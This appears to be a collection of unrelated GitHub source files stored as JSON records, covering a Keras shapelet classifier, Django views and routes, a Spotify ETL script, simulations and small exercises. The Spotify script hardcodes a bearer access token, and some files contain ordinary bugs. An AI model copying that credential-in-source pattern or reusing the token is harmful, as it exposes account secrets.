f.write(\"\\n\")\n for setter in constProp:\n f.write(setter)\n f.write(\"\\n\")\n f.write(\"end event\")\n constProp = {\"\"}\n dynamicButton = False\n f.write(\"\\n\")\n f.write(\"\\n\")\n\n if \" from u_dynamic_button within \" in line.lower():\n dynamicButton = True\n dynamicButtonProp = True\n elif line.strip().lower().startswith(\"type cb_\") or line.strip().lower().startswith(\"type pb_\"):\n if \"`\" in line.lower():\n dynamicButton = True\n dynamicButtonProp = True\n \n if dynamicButtonProp == True:\n if \"textsize\" in line.lower() and \"=\" in line:\n constProp.add(\"this.set_textsize(\" + line[line.find(\"=\") + 1:].strip() + \")\")\n constProp.add(\"this.resize_inner_objects(this.width, this.height)\")\n skipLine = True\n elif \"string powertiptext\" in line.lower() and \"=\" in line:\n constProp.add(\"this.add_powertip(\" + line[line.find(\"=\") + 1:].strip() + \")\")\n constProp.add(\"this.resize_inner_objects(this.width, this.height)\")\n skipLine = True\n elif \"string text\" in line.lower() and \"=\" in line:\n constProp.add(\"this.set_text(\" + line[line.find(\"=\") + 1:].strip() + \")\")\n constProp.add(\"this.resize_inner_objects(this.width, this.height)\")\n skipLine = True\n elif \"string tag\" in line.lower():\n constProp.add(\"this.set_tag(\" + line[line.find(\"=\") + 1:].strip() + \")\")\n constProp.add(\"this.resize_inner_objects(this.width, this.height)\")\n skipLine = True\n elif \"boolean default\" in line.lower():\n constProp.add(\"this.set_default(\" + line[line.find(\"=\") + 1:].strip() + \")\")\n constProp.add(\"this.resize_inner_objects(this.width, this.height)\")\n skipLine = True\n elif \"boolean cancel\" in line.lower():\n constProp.add(\"this.set_cancel(\" + line[line.find(\"=\") + 1:].strip() + \")\")\n constProp.add(\"this.resize_inner_objects(this.width, this.height)\")\n skipLine = True\n elif \"end type\" in line.lower():\n dynamicButtonProp = False\n\n if \"end type\" in line.lower():\n dynamicButtonProp = False\n \n if not skipLine:\n with open(outFile, \"a\") as f:\n insertSetter = False\n insertConst = False\n if dynamicButton == True:\n if \" event \" in line.lower() and \"constructor\" in line.lower():\n insertSetter = True\n \n if insertSetter == True:\n f.write(line.rstrip())\n f.write(\"\\n\")\n for settter in constProp:\n f.write(settter)\n f.write(\"\\n\")\n constProp.clear()\n else:\n f.write(line.rstrip())\n f.write(\"\\n\")\n skipLine = False\n \n for setter in constProp:\n if setter == \"this.resize_inner_objects(this.width, this.height)\":\n with open(outFile, \"a\") as f:\n f.write(\"event constructor;call super::constructor;\")\n f.write(\"\\n\")\n for setter in constProp:\n f.write(setter)\n f.write(\"\\n\")\n constProp.clear()\n\n f.write(\"end event\")\n f.write(\"\\n\")\n\n","repo_name":"Flibielt/PowerBuilderScripts","sub_path":"constructor.py","file_name":"constructor.py","file_ext":"py","file_size_in_byte":5946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5779210094","text":"from django.conf.urls import patterns, url\nfrom qatrack.pim import views\n\nurlpatterns = patterns('',\n\n url(r'^$', views.index, name='index'),\n url(r'^form', views.pimform, name='pimform'),\n url(r'^thanks', views.thanks, name='thanks'),\n url(r'^review/table/(?P\\w+)/$', views.pimreview_table_dept, name='pim_dept_review'),\n url(r'^review/table/$', views.pimreview_table, name='pimreview_table'),\n url(r'^review/bar', views.pimreview_bar, name='pimreview_bar'),\n \n \n)\n","repo_name":"sharifelguindi/qatrackplus","sub_path":"qatrack/pim/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"32648939609","text":"import matplotlib as mpl\nimport numpy as np\n\nseed = 45 #seed for reproducibility\nnp.random.seed(seed)\n\n\nimport pandas as pd\nimport tensorflow as tf\n\ntf.set_random_seed(seed)\n\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping, Callback\nfrom keras.layers import Dense, BatchNormalization, Dropout, InputLayer, GaussianNoise, Activation\nfrom keras.models import Sequential\nfrom sklearn.preprocessing import scale\nfrom keras.optimizers import RMSprop, Adam, SGD\nfrom keras.utils import to_categorical\nfrom model.util import to_tf_format\nfrom mstamp_stomp import mstamp as mstamp_stomp\nfrom keras import regularizers\nfrom model.DistanceLayer import DistanceLayer\n\nimport matplotlib.pyplot as plt\nimport os\n\nos.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\" # see issue #152\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\n\nfrom keras.backend.tensorflow_backend import set_session\n\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True # this makes sure TF only uses the amount of RAM needed\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.3 # this sets the upper band\nset_session(tf.Session(config=config))\n\ndef discover_shapelets(data, N, lim=0.10, sh_len=0.25):\n \"\"\"\n Motif-based initialization for shapelets\n :param data: originally formatted dataset\n :param lim: percentage of random instances to sample from each class\n :param sh_len: shapelet length\n :return: the initial guess for shapelets (top motifs)\n \"\"\"\n shapelets = []\n sub_len = int((data.shape[1] - 3) * sh_len)\n num_channels = len(np.unique(data[data.columns[-2]]))\n\n\n for target_class in np.sort(np.unique(data['c{}'.format(data.shape[1] - 3)])):\n print('\\n Target class: {}'.format(target_class))\n multi_sample = []\n data_from_class = data.query('c{}=={}'.format(data.shape[1] - 3, target_class))\n lim_samples = int(lim * data_from_class.shape[0] / num_channels)\n\n if lim_samples < 10: # use at least 10 samples\n lim_samples = 10\n\n if lim_samples > 30: # use at most 30 samples\n lim_samples = 30\n\n print('SAMPLES\" {}'.format(lim_samples))\n\n if lim_samples < data_from_class[data_from_class.columns[-1]].nunique():\n random_sample = np.random.choice(data_from_class[data_from_class.columns[-1]].unique(),\n lim_samples, replace=False)\n else:\n random_sample = data_from_class[data_from_class.columns[-1]].unique()\n\n mask = data_from_class[data_from_class.columns[-1]].isin(random_sample)\n print(np.count_nonzero(mask))\n print(random_sample)\n\n data_from_class = data_from_class[mask]\n\n print(data_from_class.shape)\n check = data.shape[1]-3\n #check = int(val_lim/2)\n for ch in range(num_channels):\n data_from_target = data_from_class.query('c{}=={}'.format(data.shape[1] - 2, ch))\n print(data_from_target.shape)\n multi_sample.append(data_from_target.values[:, :check].flatten())\n\n why = np.vstack(multi_sample)\n mp, _ = mstamp_stomp(why.astype(np.float64), sub_len) # perform mSTAMP\n\n print(num_channels)\n print(N)\n dimensions = np.random.choice(range(num_channels), N, replace=False)\n\n for dim_spanned in dimensions:\n shapelet = []\n m = mp[dim_spanned, :].argsort()\n j = 0\n\n while (m[j] % (check) > (check)-sub_len): #checks that motifs are not overlapping samples\n print('\\n {}'.format(m[j] % (check)))\n print((m[j] + sub_len) % (check))\n j += 1\n\n for i in range(num_channels):\n shapelet.append(why[i, m[j]:m[j] + sub_len])\n\n shapelets.append(shapelet)\n print('sh {}'.format(len(shapelets)))\n return np.swapaxes(np.array(shapelets), 1, 2)\n\n\ndef random_candidates(data, N, L):\n \"\"\"\n Random sample N multivariate subsequences\n :param data: TF-formatted dataset\n :param N: number of shapelets\n :param L: length of shapelets\n :return: \n \"\"\"\n sample = (np.random.rand(N)*len(data)).astype(int)\n start = (np.random.rand(N)*(data.shape[1]-L)).astype(int)\n\n samples = []\n for n in range(N):\n samples.append(data[sample[n],start[n]:start[n]+L,:])\n\n return np.array(samples)\n\n\n\n\ndef read_data(FOLDER, fold):\n \"\"\"\n Utility function to load .csv data\n :param FOLDER: folder containing the datasets\n :param fold: train/val/test fold\n :return: loaded pandas dataframe\n \"\"\"\n TRAIN = 'new_train_val_test/train_df_{}.csv'.format(fold)\n VAL = 'new_train_val_test/val_df_{}.csv'.format(fold)\n TEST = 'new_train_val_test/test_df_{}.csv'.format(fold)\n\n df = pd.read_csv(\n '/home/sumo/rmedico/data/MTS/{}/{}'.format(FOLDER, TRAIN))#, index_col=0)\n dfval = pd.read_csv(\n '/home/sumo/rmedico/data/MTS/{}/{}'.format(FOLDER, VAL))#, index_col=0)\n dftest = pd.read_csv(\n '/home/sumo/rmedico/data/MTS/{}/{}'.format(FOLDER, TEST))#, index_col=0)\n\n \"\"\"\n PREPROCESSING: scale to N(0,1) and add small random noise\n \"\"\"\n df[df.columns[:-3]] = scale(df[df.columns[:-3]], axis=1) + np.random.random((df.shape[0],df.shape[1]-3))*0.1\n dfval[dfval.columns[:-3]] = scale(dfval[dfval.columns[:-3]], axis=1) + np.random.random((dfval.shape[0],\n df.shape[1]-3))*0.1\n dftest[dftest.columns[:-3]] = scale(dftest[dftest.columns[:-3]], axis=1) + np.random.random((dftest.shape[0],\n df.shape[1]-3))*0.1\n return df, dfval, dftest\n\ndef keras_model(data, df, N, hidden=0, init=None, reg=10 ** -2, lr=10 ** -3, sh_len=0.25, classes=None):\n \"\"\"\n Construct the keras model\n :param data: data in TF-format (N,L,C)\n :param df: data in original format\n :param N: number of shapelets\n :param hidden: number of hidden layers\n :param init: type of initialization\n :param reg: L2-regularization \n :param lr: learning rate\n :param sh_len: length of shapelets\n :param classes: number of classes\n :return: keras model\n \"\"\"\n model = Sequential()\n model.add(InputLayer(input_shape=(data.shape[1], data.shape[2])))\n model.add(BatchNormalization())\n\n if init == 'random_normal':\n model.add(DistanceLayer(N, random_candidates(data, N, L)))\n elif init == 'matrix_profile':\n model.add(DistanceLayer(N, discover_shapelets(df, int(N/classes), 0.10, sh_len=sh_len)))\n\n model.add(BatchNormalization())\n\n if hidden>0:\n for h in range(hidden):\n model.add(Dense(2*classes,\n activation='relu',\n kernel_regularizer=regularizers.l2(reg),\n name='hidden_layer{}'.format(h),\n ))\n model.add(BatchNormalization())\n model.add(Dropout(0.10))\n\n model.add(Dense(classes,\n activation='softmax', trainable=True,\n kernel_regularizer=regularizers.l2(reg),\n name='output_layer'))\n\n\n adam = Adam(lr=lr)\n loss = 'binary_crossentropy' if classes == 2 else 'categorical_crossentropy'\n model.compile(loss=loss, optimizer=adam, metrics=['accuracy'])\n\n return model\n\n\n\"\"\"PLOTTING UTILITIES\"\"\"\ndef plot_learning_curve(h, init, hidden, acc):\n plt.figure(0)\n plt.title('Val Acc: {}'.format(acc))\n plt.subplot(211)\n plt.grid()\n plt.plot(h.history['loss'], label='Train Loss')\n plt.plot(h.history['val_loss'], label='Val Loss')\n\n plt.legend()\n plt.tight_layout()\n\n plt.subplot(212)\n plt.grid()\n\n plt.plot(h.history['acc'], label='Train Accuracy')\n plt.plot(h.history['val_acc'], label='Val Accuracy')\n\n plt.legend()\n plt.tight_layout()\n\n plt.savefig('{}_{}_{}_{}_learning_curve.pdf'.format(FOLDER.replace('/', '_').replace(' ', '_'), fold, init, hidden))\n\ndef plot_shapelet(f, n, n_channels, last, first):\n model.load_weights('weights/' + f) # \"weights/weights_{}_{}.0{}.hdf5\".format('yo',fold, (f * period) - 1))\n\n for channel in range(n_channels):\n plt.subplot(n_channels, 1, channel + 1)\n # plt.ylim((-1,1))\n plt.box(on=None)\n print(len(model.layers[2].get_weights()))\n print(model.layers[2].get_weights()[0].shape)\n # print(model.layers[2].get_weights()[0][n])\n\n if last:\n plt.plot(model.layers[2].get_weights()[0][n][:, channel], c='b', linewidth=2, label='final')\n elif first:\n plt.plot(model.layers[2].get_weights()[0][n][:, channel], c='g', label='initial')\n else:\n plt.plot(model.layers[2].get_weights()[0][n][:, channel], alpha=.1, c='r')\n\n plt.legend(loc='best')\n\ndef shuffle_data(D, L):\n \"\"\" Random shuffle data \"\"\"\n idx = np.random.permutation(len(D))\n return D[idx], L[idx]\n\n\nclass TestCallback(Callback):\n \"\"\" Callback to compute accuracy on test data \"\"\"\n def __init__(self, test_data, batch_size):\n self.test_data = test_data\n self.batch_size = batch_size\n self.accs = [] # keep track of the scores\n\n def on_epoch_end(self, epoch, logs={}):\n x, y = self.test_data\n loss, acc = self.model.evaluate(x, y, verbose=0, batch_size=self.batch_size)\n self.accs.append(acc)\n print('\\ntest_loss: {}, test_acc: {}\\n'.format(loss, acc))\n\n\ndef get_data_fold(dataset_name, fold):\n \"\"\"\n Get data for specific fold\n :param dataset_name: \n :param fold: \n :return: \n \"\"\"\n FOLDER = 'Aarons Official/{}'.format(dataset_name)\n\n print('Reading data for fold {}..'.format(fold))\n df, dfval, dftest = read_data(FOLDER, fold)\n C = len(df[df.columns[-2]].unique())\n train_labels = df.iloc[::C, -3].values.copy()\n val_labels = dfval.iloc[::C, -3].values.copy()\n test_labels = dftest.iloc[::C, -3].values.copy()\n all_labels = np.unique(np.array(list(train_labels) + list(test_labels) + list(val_labels)))\n\n N_CLASSES = len(all_labels)\n if np.min(all_labels) > 0: # make sure labels are 0-based\n train_labels -= 1\n test_labels -= 1\n val_labels -= 1\n all_labels -= 1\n print(len(np.unique(all_labels)))\n\n train_labels = to_categorical(train_labels, len(np.unique(all_labels)))\n test_labels = to_categorical(test_labels, len(np.unique(all_labels)))\n val_labels = to_categorical(val_labels, len(np.unique(all_labels)))\n data, labels = df.iloc[:, :-3].values, train_labels\n val, val_labels = dfval.iloc[:, :-3].values, val_labels\n test, test_labels = dftest.iloc[:, :-3].values, test_labels\n df = df.rename(columns={c[1]: 'c{}'.format(c[0]) for c in enumerate(df.columns)})\n data = to_tf_format(data, NUM_CHANNELS=C)\n val = to_tf_format(val, NUM_CHANNELS=C)\n test = to_tf_format(test, NUM_CHANNELS=C)\n print(data.shape)\n print(val.shape)\n print(test.shape)\n data, labels = shuffle_data(data, labels)\n val, val_labels = shuffle_data(val, val_labels)\n test, test_labels = shuffle_data(test, test_labels)\n\n return data, val, test, labels, val_labels, test_labels, df, N_CLASSES,C\n\nif __name__ == \"__main__\":\n for dataset_name in [\n 'ArticularyWordUL',\n 'ArticularyWordT1',\n 'ArticularyWordLL',\n 'uWaveGesture',\n 'HandwritingAccelerometer',\n 'HandwritingGyroscope',\n 'ArabicDigit',\n ]:\n rows = []\n folds = 3 # number of train/val/test splits\n epochs = 500 # max epochs\n early_stopping = 25 # patience\n bs = 64 # batch size\n\n period = 1\n print('Each fold is trained on for {} epochs'.format(epochs))\n\n \"\"\"\n HYPER_PARAMS OPTIMIZATION\n \"\"\"\n loaded = []\n for fold in range(folds):\n data, val, test, labels, val_labels, test_labels, df, N_CLASSES, C = get_data_fold(\n dataset_name, fold)\n for reg in [0.01,.1]:\n for sh_len in [0.15,0.25]:\n for num_shapelet in [3,2]:\n for lr in [10 ** -3]:\n for init in ['random_normal','matrix_profile']:\n for hidden in [1, 0]:\n\n N = N_CLASSES*num_shapelet\n L = int(sh_len * data.shape[1])\n\n print('Using {} shapelets'.format(N))\n print(L)\n print('Building model for fold {}..'.format(fold))\n model = keras_model(data, df, N, hidden=hidden,\n init=init, lr=lr, reg=reg, sh_len=sh_len,\n classes=N_CLASSES)\n\n callbacks = []\n save_model = False\n\n if save_model:\n import shutil\n\n try:\n shutil.rmtree('weights_{}_{}'.format(init, hidden))\n except:\n pass\n os.makedirs('weights_{}_{}'.format(init, hidden))\n\n callbacks.append(ModelCheckpoint('weights_' + '{}_{}'.format(init,\n hidden) + '/weights_best' + '_' + str(\n fold) + '.{epoch:02d}-{val_acc:.3f}.hdf5',\n monitor='val_acc',\n verbose=0,\n save_best_only=False,\n mode='auto',\n period=1\n ))\n\n test_callback = TestCallback((test, test_labels), batch_size=bs)\n callbacks.append(test_callback)\n\n callbacks.append(EarlyStopping(monitor='val_loss',\n min_delta=10**-4,\n patience=early_stopping,\n verbose=0,\n mode='auto'))\n\n print('Training model for fold {}..'.format(fold))\n\n h = model.fit(data, labels, nb_epoch=epochs,\n shuffle=True, batch_size=bs,\n validation_data=(val, val_labels),\n verbose=1,\n callbacks=callbacks)\n\n print(np.argmax(h.history['val_acc']))\n stopped_at = np.argmin(h.history['val_loss'])\n test_acc = test_callback.accs[stopped_at]\n val_acc = h.history['val_acc'][stopped_at]\n train_acc = h.history['acc'][stopped_at]\n len_epochs = len(h.history['val_acc'])\n\n print('test_acc: {}'.format(test_acc))\n print('val_acc: {}'.format(val_acc))\n save_plots = False\n\n if save_plots:\n import os\n\n print('Plotting shapelets for fold {}..'.format(fold))\n\n n_epochs = epochs / period\n files = np.sort(\n [f for f in os.listdir('weights') if '{}_{}'.format('best', fold) in f])\n print(files)\n for sh in range(N):\n plt.figure(figsize=(30, 60))\n tot = int(len(files) / 10)\n for f in enumerate(files): # range(1, len(files) + 1):\n if f[0] % 10 == 0:\n plot_shapelet(f[1], sh, C, tot == 0, f[0] == 0)\n tot -= 1\n\n plt.savefig('{}_{}_shapelet_#_{}.pdf'.format('yo', fold, sh),\n fig=1)\n\n rows.append([fold,init, hidden, lr, reg, sh_len, N, val_acc,\n test_acc,\n train_acc,\n len_epochs\n ])\n res_df = pd.DataFrame(rows, columns=[\n 'fold',\n 'initialization',\n 'hidden_layers',\n 'learning_rate',\n 'regularization',\n 'shapelet_length',\n 'num_shapelets',\n 'val_acc',\n 'test_acc',\n 'train_acc',\n 'epochs'\n ])\n\n res_df = res_df.sort_values(by='val_acc')[::-1]\n\n res_df.to_csv(\n 'results/results_{}_dropout_val_split_seed_{}_fold_{}.csv'.format(\n dataset_name.replace('/', '_').replace(' ', '_'), seed, fold))\n\n","repo_name":"tony32769/multi_shapelets","sub_path":"model/cross_val_exp.py","file_name":"cross_val_exp.py","file_ext":"py","file_size_in_byte":19758,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"19470928201","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom google.appengine.api import images\nfrom google.appengine.ext import blobstore\n\nfrom django.conf import settings\nfrom django.core.cache import cache\n\nCACHE_GAE_IMAGE_FIELD = getattr(settings, \"CACHE_GAE_IMAGE_FIELD\", True)\nCACHE_GAE_IMAGE_FIELD_PREFIX = getattr(settings, \"CACHE_GAE_IMAGE_FIELD_PREFIX\", \"gae_image_url_\")\n\n\ndef _gae_image_url(picture_str):\n \"\"\"\n Returns dynamic image resizing url using GAE Images API\n \"\"\"\n blob_key = blobstore.create_gs_key('/gs%s/%s' % (settings.GOOGLE_CLOUD_STORAGE_BUCKET, picture_str))\n return images.get_serving_url(blob_key)\n\n\ndef gae_image_url(image=None):\n \"\"\"\n Returns dynamic image resizing url using GAE Images API\n Cache url if asked to in the settings.\n \"\"\"\n url = ''\n\n if image:\n picture_str = str(image)\n\n if not CACHE_GAE_IMAGE_FIELD:\n return _gae_image_url(picture_str)\n\n key = CACHE_GAE_IMAGE_FIELD_PREFIX + picture_str\n url = cache.get(key)\n\n if url:\n return url\n\n url = _gae_image_url(picture_str)\n cache.set(key, url, 86400)\n return url","repo_name":"lockys/gae-django-skeleton","sub_path":"project_name/django_gae/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8475994200","text":"import io\r\n\r\nimport imageio\r\n\r\n\r\nclass Animation:\r\n def __init__(self, filename, quality=30, pause=5, duration=1):\r\n self._frames = []\r\n self.filename = filename\r\n self.quality = quality\r\n self.pause = pause\r\n self.duration = duration\r\n\r\n @property\r\n def frames(self):\r\n return self._frames\r\n\r\n @frames.setter\r\n def frames(self, img):\r\n with io.BytesIO() as output:\r\n img.save(output, format=\"GIF\", quality=self.quality)\r\n self._frames.append(output.getvalue())\r\n\r\n def save_gif(self, reverse=False):\r\n images = [imageio.imread(f) for f in self._frames]\r\n if not reverse:\r\n images += [images[-1] for _ in range(self.pause)]\r\n if reverse:\r\n rrw = images.copy()\r\n rrw.reverse()\r\n images += rrw\r\n\r\n imageio.mimsave('animated.gif', images, duration=self.duration)\r\n\r\n","repo_name":"tetrismegistus/minutia","sub_path":"exercises/python_doodles/datamosher/animation.py","file_name":"animation.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"42395694533","text":"#Ejercicio 6: Tabla de multiplicar\n# Hacer un programa que pida un número por teclado y guarde\n# en una lista su tabla de multiplicar hasta el 10. Por ejemplo:\n# Si digita el 5 la lista tendrá: 5,10,15,20,25,30,35,40,45,50\n\nnum = int(input('Digite un número entero: '))\n\nfor i in range(0, 11):\n print(num , \" x \" , i , \" = \" , (num*i))\n i=i+1\n","repo_name":"lokywolf2295/TUPUTNFRSR","sub_path":"Python/Primer Semestre/Leccion 4/Clase 5/Ejercicio06.py","file_name":"Ejercicio06.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38452668328","text":"#!/bin/python3\nfrom brian2 import *\nimport matplotlib.pyplot as plt\n\nBrianLogger.log_level_diagnostic()\nset_device('cpp_standalone')\n\nN = 100\ntau = 10*ms\neqs = '''\ndv/dt = (2-v)/tau : 1\n'''\nG = NeuronGroup(N, eqs, threshold='v>1', reset='v = 0', method='exact')\nG.v = '1.0*i/N'\n\n# Comment these two lines out to see what happens without Synapses\n# S = Synapses(G, G, on_pre='v_post += 0.2')\n# S.connect(i=0, j=1)\n\nspikemon = SpikeMonitor(G)\n\nrun(50*ms)\n\nplt.plot(spikemon.t/ms, spikemon.i, '.k')\nplt.xlabel('Time (ms)')\nplt.ylabel('Neuron index')\nplt.legend();\nplt.show()\n","repo_name":"ppp2211/brian-poets","sub_path":"brian/large_net.py","file_name":"large_net.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6326878044","text":"import sqlalchemy\nimport pandas as pd\nfrom sqlalchemy.orm import sessionmaker\nimport requests\nimport json\nfrom datetime import datetime\nimport datetime\nimport sqlite3\n\nDATABASE_LOCATION = \"sqlite://my_played_tracks.sqlite\"\nUSER_ID = \"theopujianto\"\nTOKEN = \"BQAdBtgFc3LKUuI5dLj24wkO62aLKV8BGxn9zYRlnGz1mae2wXsZar_C3BM5XKjLdaQ-ItDUbH8o59sYInVk5nSrCD17TvnNKyXvyT4ajjmruifljubD8gEabbgtJgw7kAFBg5L2KvgDifx8wuO53B4\"\n\ndef check_if_data_valid(df: pd.DataFrame) -> bool:\n # check if the data is valid\n if df.empty:\n print(\"No songs streamed. Finish execution.\")\n return False\n \n # primary key check - in this case, it's the time when you listen the songs, you cannot listen to 2 songs with 1 account at any given time\n if pd.Series(df['played_at']).is_unique:\n pass\n else:\n raise Exception(\"Primary Key check is violated.\")\n\n # check for nulls\n if df.isnull().values.any():\n raise Exception(\"Null values found.\")\n\n # check that all timestamps are of yesterday's date\n yesterday = datetime.datetime.now() - datetime.timedelta(days=1)\n yesterday = yesterday.replace(hour=0, minute=0, second=0, microsecond=0)\n\n timestamps = df['timestamps'].tolist()\n for timestamp in timestamps:\n if datetime.datetime.strptime(timestamp, '%Y-%m-%d') != yesterday:\n raise Exception(\"At least one of the returned songs does not have a yesterday's timestamp\")\n\n return True\n\n\nif __name__ == \"__main__\":\n \n\n # start with passing required header\n headers = {\n \"Accept\": \"application/json\",\n \"Content-Type\": \"application/json\",\n \"Authorization\": \"Bearer {token}\".format(token=TOKEN)\n }\n\n # time needs to be converted to Unix timestamp in miliseconds\n today = datetime.datetime.now()\n yesterday = today - datetime.timedelta(days=1)\n yesterday_unix_timestamp = int(yesterday.timestamp()) * 1000\n\n # download all songs you've listened to \"after yesterday\", which means in the last 24 hours\n # Download all songs you've listened to \"after yesterday\", which means in the last 24 hours\n r = requests.get(\"https://api.spotify.com/v1/me/player/recently-played?after={time}\".format(\n time=yesterday_unix_timestamp), headers=headers)\n\n data = r.json()\n\n song_names = []\n artist_names = []\n played_at_list = []\n timestamps = []\n \n # for loop at the data and take what we need\n for song in data[\"items\"]:\n song_names.append(song[\"track\"][\"name\"])\n artist_names.append(song[\"track\"][\"album\"][\"artists\"][0][\"name\"])\n played_at_list.append(song[\"played_at\"])\n timestamps.append(song[\"played_at\"][0:10])\n\n # prepare a dictionary in order to turn it into a pandas dataframe below\n song_dict = {\n \"song_name\": song_names,\n \"artist_name\": artist_names,\n \"played_at\": played_at_list,\n \"timestamp\": timestamps\n }\n\n song_df = pd.DataFrame(song_dict, columns=[\n \"song_name\", \"artist_name\", \"played_at\", \"timestamp\"])\n\n # do validation\n if check_if_data_valid(song_df):\n print(\"Data is valid. Proceed.\")\n\n\n # load\n engine = sqlalchemy.create_engine(DATABASE_LOCATION)\n conn = sqlite3.connect(\"my_played_tracks.sqlite\")\n cursor = conn.cursor()\n\n sql_query = \"\"\"\n CREATE TABLE IF NOT EXISTS my_played_tracks(\n song_name VARCHAR(200),\n artist_name VARCHAR(200),\n played_at VARCHAR(200),\n timestamp VARCHAR(200),\n CONSTRAINT primary_key_constraint PRIMARY KEY (played_at)\n )\n \"\"\"\n cursor.execute(sql_query)\n print(\"Opened database successfully\")\n\n try:\n song_df.to_sql(\"my_played_tracks\", engine,\n index=False, if_exists='append')\n except:\n print(\"Data already exists in the database\")\n\n conn.close()\n print(\"Close database successfully\")\n","repo_name":"tpujianto/Data-Engineering","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31901579442","text":"import json\nimport os\nfrom globalvars import globalvars\n\nclass RestJsonRequest:\n def __init__(self,data):\n \n self.data_files = os.path.join(os.path.dirname( __file__ ), '..', 'files')\n JsonTemp = os.path.abspath(os.path.join(self.data_files,\"Auth_RestJson_Template.json\"))\n AuthPath = os.path.abspath(os.path.join(self.data_files,\"Auth_RestJson_Request.json\")) \n \n self.json_file = open(JsonTemp, \"r\") \n self.json_template = json.loads(self.json_file.read())\n self.json_file.close()\n \n self.inputdata = data \n self.includedmaps = set([mapname.split(\":\")[0] for mapname in globalvars.EMBEDDEDMAPFIELDS if self.inputdata[mapname] != \"\"]) \n \n auth_file = open(AuthPath, \"w\")\n auth_file.write(json.dumps(self.populateFields(self.json_template),sort_keys=True, indent=2, separators =(',',':')))\n auth_file.close()\n \n def populateFields(self,fieldmap):\n struct = {}\n for key,value in fieldmap.items():\n if isinstance(value, dict): \n populateddict = self.populateFields(value)\n if bool(populateddict):\n if key in self.includedmaps:\n populateddict = {popkey.split(\":\")[1]:popval for popkey,popval in populateddict.items()} \n struct[key] = populateddict \n elif value is not None:\n try: \n if self.inputdata[key] != \"\": \n struct[key] = self.inputdata[key]\n elif value != \"\":\n struct[key] = value \n except KeyError:\n if value != \"\":\n struct[key] = value\n return struct","repo_name":"azuckerman9000/TestAutomationV2","sub_path":"automation/restjsonauthorize.py","file_name":"restjsonauthorize.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25487804372","text":"import sys\nfrom django.shortcuts import render\nfrom .models import Estacion, Proyectos\nfrom datetime import datetime\nfrom bs4 import BeautifulSoup\nfrom dateutil import parser\nimport requests\nfrom core.myFunctions import getConnection, obtenerData\ndef home(request):\n \n return render(request,'home.html')\n\ndef bike_list(request):\n estaciones = Estacion.objects.all() \n return render(request,'bike_list.html',{'estaciones':estaciones})\n\n\ndef actualizar_estaciones(request):\n # Hacer una solicitud a la API y obtener los datos\n getConnection('http://api.citybik.es/v2/networks/bikesantiago')\n\n estaciones=Estacion.objects.all()\n # Redirigir a una página de confirmación de actualización\n return render(request, 'bike_list.html',{'estaciones':estaciones})\n\n\n\ndef tarea2(request):\n proyectos = obtenerData()\n for proyecto in proyectos:\n obj, created = Proyectos.objects.get_or_create(Nombre=proyecto['Nombre'])\n obj.No = proyecto['No']\n obj.Nombre = proyecto['Nombre']\n obj.Tipo = proyecto['Tipo']\n obj.Region = proyecto['Región']\n obj.Tipologia = proyecto['Tipología']\n obj.Titular = proyecto['Titular']\n obj.Inversion = proyecto['Inversión(MMU$)']\n obj.FechaPresentacionFecha = proyecto['FechaPresentaciónFecha deIngreso(*)']\n obj.Estado = proyecto['Estado']\n obj.Mapa = proyecto['Mapa']\n \n obj.save()\n \n proyectos=Proyectos.objects.all()\n return render(request, 'tarea2.html', {'proyectos': proyectos})\n\n\n \ndef actualizar_proyectos(request):\n if 'your_name' not in request.GET:\n # Inicializamos variables del template\n current_value = 1\n resultado = \"nada primera carga\"\n else:\n # Hacemos calculos\n current_value = request.GET['your_name']\n resultado = \"resultado : \" + current_value\n\n return render(request, 'home.html', {'resultado': resultado, 'current_value': current_value})","repo_name":"DouglasGuacaran/testbike","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28985630200","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Nov 13 00:16:13 2020\r\n\r\n@author: DELL\r\n\"\"\"\r\n#Doing separate stirng to n length(k) substrings\r\nfrom textwrap import wrap\r\n\r\ndef find_k(n,s):\r\n if(s.count(s[0]) == n):\r\n return 1;\r\n for i in range(2,n):\r\n wrapped = wrap(s,i)\r\n if (n % i == 0):#The condition that need to check every substring\r\n indicator = True\r\n for j in range(0,n//i - 1):\r\n # every substring should do rotation (wrapped[j][-1] + wrapped[j][:-1])\r\n #with last char of previous substirng moved to first\r\n if wrapped[j+1] != wrapped[j][-1] + wrapped[j][:-1]:\r\n indicator = False\r\n break\r\n if indicator:\r\n return i\r\n return n\r\n\r\ns=input()\r\nprint(find_k(len(s),s))","repo_name":"XinyiW-lang/Kattis","sub_path":"periodicstrings.py","file_name":"periodicstrings.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14370618264","text":"import json\nfrom datetime import datetime, timedelta\n\nimport 